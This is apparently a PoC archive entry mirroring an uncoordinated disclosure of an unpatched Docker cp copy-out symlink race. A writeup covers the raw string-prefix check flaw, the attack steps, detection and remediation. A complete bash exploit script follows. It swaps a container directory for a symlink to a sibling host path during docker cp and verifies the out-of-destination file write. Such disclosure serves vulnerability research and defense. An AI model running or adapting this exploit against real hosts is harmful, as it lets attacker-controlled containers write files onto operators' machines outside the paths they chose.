PoC Archive PoC Archive
Medium None assigned as of 2026-07-03 unpatched

Docker cp Copy-Out Destination Escape via Symlink Race

by bikini (@ashdfrkl) — original discovery; mirrored via exploitarium · 2026-07-03

Severity
Medium
CVE
None assigned as of 2026-07-03
Category
cloud
Affected product
Docker Engine / CLI
Affected versions
Validated on Docker Client/Server 29.6.0, API 1.55 (2026-06-23)
Disclosed
2026-07-03
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-03
Last Updated2026-06
Author / Researcherbikini (@ashdfrkl) — original discovery; mirrored via exploitarium
CVE / AdvisoryNone assigned as of 2026-07-03
Categorycloud
SeverityMedium
CVSS ScoreNot yet scored (no CVE/CVSS assigned)
StatusPoC
Tagsdocker, container-escape, toctou, symlink-race, docker-cp, path-traversal, archive-extraction, host-file-write
RelatedN/A

Affected Target

FieldValue
Software / SystemDocker Engine / CLI
Versions AffectedValidated on Docker Client/Server 29.6.0, API 1.55 (2026-06-23)
Language / PlatformBash PoC driver; underlying bug spans Docker CLI (cli/command/container/cp.go) and daemon (daemon/archive_unix.go, vendored go-archive) in Go
Authentication RequiredLocal-only (attacker needs code execution inside a running container; a host user must separately run docker cp from that container)
Network Access RequiredNo

Summary

docker cp copy-out operations are vulnerable to a time-of-check/time-of-use race: the daemon walks the container’s source path with filepath.WalkDir and builds a tar stream, but if a container process changes a directory entry (e.g., swaps it for a symlink) after the walk observes it but before the entry is added to the tar stream, the resulting archive can contain a symlink whose target escapes the intended destination. On the client side, archive.CopyTo/Untar checks the resolved symlink target with a raw strings.HasPrefix(targetPath, extractDir) string check rather than a proper path-boundary check, so a symlink target like dst2 passes the prefix check against dst even though it is a sibling directory outside the requested extraction root. Entries that follow the symlink in the tar stream are then written through it into the sibling path. The researcher validated this against Docker 29.6.0 by racing many padding files before the target path and reliably (in ~0.2s of skew) getting a marker file written outside the requested destination. This is a host-operator-initiated escape, not an unattended container breakout — it requires a host user to run docker cp against an attacker-controlled container. This PoC was published by a pseudonymous independent researcher (bikini/ashdfrkl) as part of the uncoordinated “exploitarium” vulnerability dump; it has not been vendor-confirmed.


Vulnerability Details

Root Cause

Untar’s symlink extraction constructs the target path with filepath.Join(filepath.Dir(path), hdr.Linkname) and validates containment using strings.HasPrefix(targetPath, extractDir) (vendor/github.com/moby/go-archive/archive.go:480-490), a raw string-prefix check that a sibling directory sharing a name prefix (e.g., dst vs. dst2) can pass despite being outside the extraction root, combined with a TOCTOU window during tar-stream creation on the daemon side that lets a container process substitute a symlink for a previously-observed directory entry.

Attack Vector

  1. Attacker gains code execution inside a running Linux container and prepares to race a directory entry under a path that will later be copied out (e.g., /tmp/src).
  2. Attacker creates a host destination naming scenario where a sibling path (dst2) shares a raw string prefix with the intended destination (dst).
  3. A host user (operator) runs docker cp <container>:/tmp/src <host-destination>/dst.
  4. During the daemon’s archive creation, the attacker’s in-container process swaps a directory entry for a symlink pointing at ../../../dst2 after the tar walker has observed the entry but before it is added/recursed.
  5. On the client side, archive.CopyTo’s Untar follows the symlink; the raw prefix check on targetPath incorrectly treats dst2 as inside dst, so subsequent regular-file entries in the tar stream are written through the symlink into the sibling host directory.

Impact

A container-controlled file write to a host path outside the requested docker cp destination directory, when a host operator copies data out of an attacker-controlled container into a destination with an exploitable sibling path name.


Environment / Lab Setup

Target:   Host with Docker Engine 29.6.0 (or similar), Linux container under attacker control
Attacker: Bash, Docker CLI access to run the container and (as a separate host-operator step) docker cp

Proof of Concept

PoC Script

See poc.sh in this folder.

1
2
chmod +x poc.sh
HOST_BASE=/tmp/docker-cp-copyout-repro ./poc.sh

The script starts a disposable container, races padding files against the copy-out path, invokes docker cp <container>:/tmp/src $HOST_BASE/dst from the host side, and reports whether a marker file was written into the sibling $HOST_BASE/dst2 directory outside the requested destination — the researcher’s validated run showed the race succeeding at a ~0.2s timing offset.


Detection & Indicators of Compromise

Signs of compromise:

  • New/unexpected files in directories adjacent to a docker cp destination shortly after a copy-out operation
  • docker cp extraction directories containing symlinks pointing outside the requested destination path
  • Host automation that runs docker cp against containers with untrusted or attacker-influenced content

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-03 — monitor Docker Engine release notes; proper fix requires descriptor-rooted extraction that resolves paths relative to a trusted directory file descriptor rather than raw string-prefix checks
Interim mitigationAvoid running docker cp copy-out against containers whose contents are controlled by an untrusted party; prefer copying from stopped containers or immutable snapshots; avoid destination directory names that share a prefix with sibling paths

References


Notes

Mirrored from https://github.com/bikini/exploitarium (folder: docker-cp-copyout-destination-escape) on 2026-07-03. No CVE has been assigned as of ingestion — this is an uncoordinated disclosure by a pseudonymous researcher; treat with appropriate caution pending vendor confirmation. The source README explicitly states this is not an unattended/no-interaction container escape and not a Docker socket exposure — it requires a host operator to run docker cp against an attacker-controlled container with an exploitable destination naming pattern.

poc.sh
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#!/usr/bin/env bash
set -euo pipefail

name="docker-cp-copyout-poc-$$"
host_base="${HOST_BASE:-/tmp/docker-cp-copyout-poc-$$}"
host_dst="${host_base}/dst"
host_out="${host_base}/dst2"
attempt_log="${host_base}/attempts.log"
stdout_log="${host_base}/docker-cp.stdout"
stderr_log="${host_base}/docker-cp.stderr"

cleanup() {
  docker rm -f "$name" >/dev/null 2>&1 || true
}
trap cleanup EXIT

rm -rf "$host_base"
mkdir -p "$host_dst" "$host_out"

docker run -d --name "$name" alpine:3.21 sleep 600 >/dev/null
docker exec "$name" sh -lc '
  set -e
  rm -rf /tmp/src /dst2
  mkdir -p /tmp/src/dir /dst2
  printf "container-controlled-host-marker\n" > /dst2/marker
  i=0
  while [ "$i" -lt 12000 ]; do
    printf "pad-%05d-%0128d\n" "$i" 0 > "/tmp/src/dir/a$(printf "%05d" "$i")"
    i=$((i+1))
  done
  mkdir -p /tmp/src/dir/zzlink
'

try_delay() {
  local delay="$1"
  rm -rf "$host_dst" "$host_out"
  mkdir -p "$host_dst" "$host_out"
  : > "$stdout_log"
  : > "$stderr_log"
  docker exec "$name" sh -lc 'rm -rf /tmp/src/dir/zzlink /tmp/swap-done; mkdir -p /tmp/src/dir/zzlink'
  docker exec -d "$name" sh -lc "sleep '$delay'; rm -rf /tmp/src/dir/zzlink; ln -s ../../../dst2 /tmp/src/dir/zzlink; touch /tmp/swap-done"
  set +e
  docker cp "$name:/tmp/src" "$host_dst" >"$stdout_log" 2>"$stderr_log"
  local cp_status=$?
  set -e
  local outside="absent"
  if [ -f "$host_out/marker" ]; then
    outside="present"
  fi
  local link="absent"
  for candidate in "$host_dst/src/dir/zzlink" "$host_dst/dir/zzlink"; do
    if [ -L "$candidate" ]; then
      link="$(readlink "$candidate")"
      break
    elif [ -d "$candidate" ]; then
      link="directory"
    fi
  done
  printf 'delay=%s cp_status=%s outside_marker=%s link=%s\n' "$delay" "$cp_status" "$outside" "$link" | tee -a "$attempt_log"
  [ "$outside" = "present" ]
}

delays=(
  0.010 0.025 0.050 0.075 0.100 0.150 0.200 0.300 0.400 0.550
  0.700 0.900 1.100 1.400 1.800 2.200 2.800 3.500 4.500 5.500
)

success="no"
for delay in "${delays[@]}"; do
  if try_delay "$delay"; then
    success="yes"
    break
  fi
done

echo "success=${success}"
echo "host_base=${host_base}"
echo "requested_destination=${host_dst}"
echo "outside_marker_path=${host_out}/marker"
if [ "$success" = "yes" ]; then
  echo "outside_marker_value=$(cat "$host_out/marker")"
  for candidate in "$host_dst/src/dir/zzlink" "$host_dst/dir/zzlink"; do
    if [ -L "$candidate" ]; then
      echo "observed_symlink=${candidate} -> $(readlink "$candidate")"
      break
    fi
  done
  echo "docker_cp_stdout=${stdout_log}"
  echo "docker_cp_stderr=${stderr_log}"
else
  echo "attempt_log=${attempt_log}"
  echo "docker_cp_stderr_tail_start"
  tail -n 20 "$stderr_log" || true
  echo "docker_cp_stderr_tail_end"
  exit 1
fi